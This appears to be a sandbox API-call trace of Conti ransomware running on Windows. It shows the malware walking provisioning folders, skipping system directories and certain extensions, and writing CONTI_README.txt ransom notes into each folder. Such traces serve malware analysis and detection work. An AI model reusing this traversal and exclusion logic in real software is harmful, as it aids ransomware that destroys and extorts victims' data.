	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="$Recycle.Bin") returned 1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="$RECYCLE.BIN") returned 1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="System Volume Information") returned -1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="Program Files") returned 1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="Program Files (x86)") returned 1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="Boot") returned 1
	[0106.429] lstrcmpiW (lpString1="Prov", lpString2="Windows") returned -1
	[0106.429] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned 76
	[0106.429] lstrlenW (lpString="Prov") returned 4
	[0106.429] GetProcessHeap () returned 0x1720000
	[0106.429] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732cc0
	[0106.429] lstrcpyW (in: lpString1=0x1732cc0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}"
	[0106.429] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\"
	[0106.429] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\", lpString2="Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov"
	[0106.429] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned 81
	[0106.429] GetProcessHeap () returned 0x1720000
	[0106.429] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa8) returned 0x6510f98
	[0106.429] lstrcpyW (in: lpString1=0x6510f98, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov"
	[0106.429] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*"
	[0106.429] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned 81
	[0106.429] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.429] GetProcessHeap () returned 0x1720000
	[0106.429] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xc6) returned 0x181cd58
	[0106.429] lstrcpyW (in: lpString1=0x181cd58, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov"
	[0106.429] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\"
	[0106.429] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\CONTI_README.txt"
	[0106.430] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.437] GetProcessHeap () returned 0x1720000
	[0106.437] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cd58 | out: hHeap=0x1720000) returned 1
	[0106.437] WriteFile (in: hFile=0x3a0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0106.438] CloseHandle (hObject=0x3a0) returned 1
	[0106.438] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5349433d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7ff0
	[0106.438] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.438] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5349433d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.438] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.438] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.438] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5349433d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5349433d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5349433d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.438] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.438] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.438] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.438] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.438] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime", cAlternateFileName="")) returned 1
	[0106.438] lstrcmpiW (lpString1="RunTime", lpString2=".") returned 1
	[0106.438] lstrcmpiW (lpString1="RunTime", lpString2="..") returned 1
	[0106.438] lstrcmpiW (lpString1="RunTime", lpString2="tmp") returned -1
	[0106.438] lstrcmpiW (lpString1="RunTime", lpString2="winnt") returned -1
	[0106.438] lstrcmpiW (lpString1="RunTime", lpString2="Application Data") returned 1
	[0106.438] lstrcmpiW (lpString1="RunTime", lpString2="AppData") returned 1
	[0106.438] lstrcmpiW (lpString1="RunTime", lpString2="temp") returned -1
	[0106.438] lstrcmpiW (lpString1="RunTime", lpString2="thumb") returned -1
	[0106.438] lstrcmpiW (lpString1="RunTime", lpString2="$Recycle.Bin") returned 1
	[0106.438] lstrcmpiW (lpString1="RunTime", lpString2="$RECYCLE.BIN") returned 1
	[0106.439] lstrcmpiW (lpString1="RunTime", lpString2="System Volume Information") returned -1
	[0106.439] lstrcmpiW (lpString1="RunTime", lpString2="Program Files") returned 1
	[0106.439] lstrcmpiW (lpString1="RunTime", lpString2="Program Files (x86)") returned 1
	[0106.439] lstrcmpiW (lpString1="RunTime", lpString2="Boot") returned 1
	[0106.439] lstrcmpiW (lpString1="RunTime", lpString2="Windows") returned -1
	[0106.439] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned 81
	[0106.439] lstrlenW (lpString="RunTime") returned 7
	[0106.439] GetProcessHeap () returned 0x1720000
	[0106.439] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb4) returned 0x17c6c78
	[0106.439] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov"
	[0106.439] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\"
	[0106.439] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\", lpString2="RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime"
	[0106.439] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned 89
	[0106.439] GetProcessHeap () returned 0x1720000
	[0106.439] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0106.439] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime"
	[0106.439] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*"
	[0106.439] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned 89
	[0106.439] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0106.439] GetProcessHeap () returned 0x1720000
	[0106.439] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd6) returned 0x17c7180
	[0106.439] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime"
	[0106.439] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\"
	[0106.439] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\CONTI_README.txt"
	[0106.439] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\prov\\runtime\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0
	[0106.440] GetProcessHeap () returned 0x1720000
	[0106.440] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c7180 | out: hHeap=0x1720000) returned 1
	[0106.440] WriteFile (in: hFile=0x3b0, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0106.441] CloseHandle (hObject=0x3b0) returned 1
	[0106.441] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5349433d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c80b0
	[0106.441] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0106.441] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x5349433d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0106.441] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0106.441] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0106.441] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53dc2e6f, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53dc2e6f, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="0__Power_Policy.provxml", cAlternateFileName="")) returned 1
	[0106.441] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2=".") returned 1
	[0106.441] lstrcmpiW (lpString1="0__Power_Policy.provxml", lpString2="..") returned 1
	[0106.441] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.441] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.441] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".exe") returned 0x0
	[0106.441] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".dll") returned 0x0
	[0106.441] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".lnk") returned 0x0
	[0106.441] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".sys") returned 0x0
	[0106.441] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch=".CONTI") returned 0x0
	[0106.441] StrStrIW (lpFirst="0__Power_Policy.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.441] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned 89
	[0106.441] lstrlenW (lpString="0__Power_Policy.provxml") returned 23
	[0106.441] GetProcessHeap () returned 0x1720000
	[0106.441] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xe4) returned 0x17c7180
	[0106.441] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime"
	[0106.441] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\"
	[0106.441] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\", lpString2="0__Power_Policy.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime\\0__Power_Policy.provxml"
	[0106.441] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5349433d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5349433d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5349433d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0106.442] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0106.442] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0106.442] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0106.442] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0106.442] FindNextFileW (in: hFindFile=0x17c80b0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5349433d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x5349433d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x5349433d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0106.442] GetProcessHeap () returned 0x1720000
	[0106.442] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0106.442] FindClose (in: hFindFile=0x17c80b0 | out: hFindFile=0x17c80b0) returned 1
	[0106.442] GetProcessHeap () returned 0x1720000
	[0106.442] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0106.442] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 1
	[0106.442] lstrcmpiW (lpString1="RunTime.xml", lpString2=".") returned 1
	[0106.442] lstrcmpiW (lpString1="RunTime.xml", lpString2="..") returned 1
	[0106.442] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.442] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.442] StrStrIW (lpFirst="RunTime.xml", lpSrch=".exe") returned 0x0
	[0106.442] StrStrIW (lpFirst="RunTime.xml", lpSrch=".dll") returned 0x0
	[0106.442] StrStrIW (lpFirst="RunTime.xml", lpSrch=".lnk") returned 0x0
	[0106.442] StrStrIW (lpFirst="RunTime.xml", lpSrch=".sys") returned 0x0
	[0106.442] StrStrIW (lpFirst="RunTime.xml", lpSrch=".CONTI") returned 0x0
	[0106.442] StrStrIW (lpFirst="RunTime.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0106.442] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned 81
	[0106.442] lstrlenW (lpString="RunTime.xml") returned 11
	[0106.442] GetProcessHeap () returned 0x1720000
	[0106.442] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xbc) returned 0x17cb828
	[0106.442] lstrcpyW (in: lpString1=0x17cb828, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov"
	[0106.442] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\"
	[0106.442] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\", lpString2="RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{268c43e1-aa2b-4036-86ef-8cda98a0c2fe}\\Prov\\RunTime.xml"
	[0106.442] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53de90cb, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53de90cb, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53de90cb, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ac, dwReserved0=0x5c3f18c, dwReserved1=0xb6884, cFileName="RunTime.xml", cAlternateFileName="")) returned 0
	[0106.442] GetProcessHeap () returned 0x1720000
	[0106.442] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510f98 | out: hHeap=0x1720000) returned 1
	[0106.442] FindClose (in: hFindFile=0x17c7ff0 | out: hFindFile=0x17c7ff0) returned 1
	[0106.443] GetProcessHeap () returned 0x1720000
	[0106.443] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732cc0 | out: hHeap=0x1720000) returned 1
	[0106.443] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d26a2f7, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d26a2f7, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d26a2f7, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Prov", cAlternateFileName="")) returned 0
	[0106.443] GetProcessHeap () returned 0x1720000
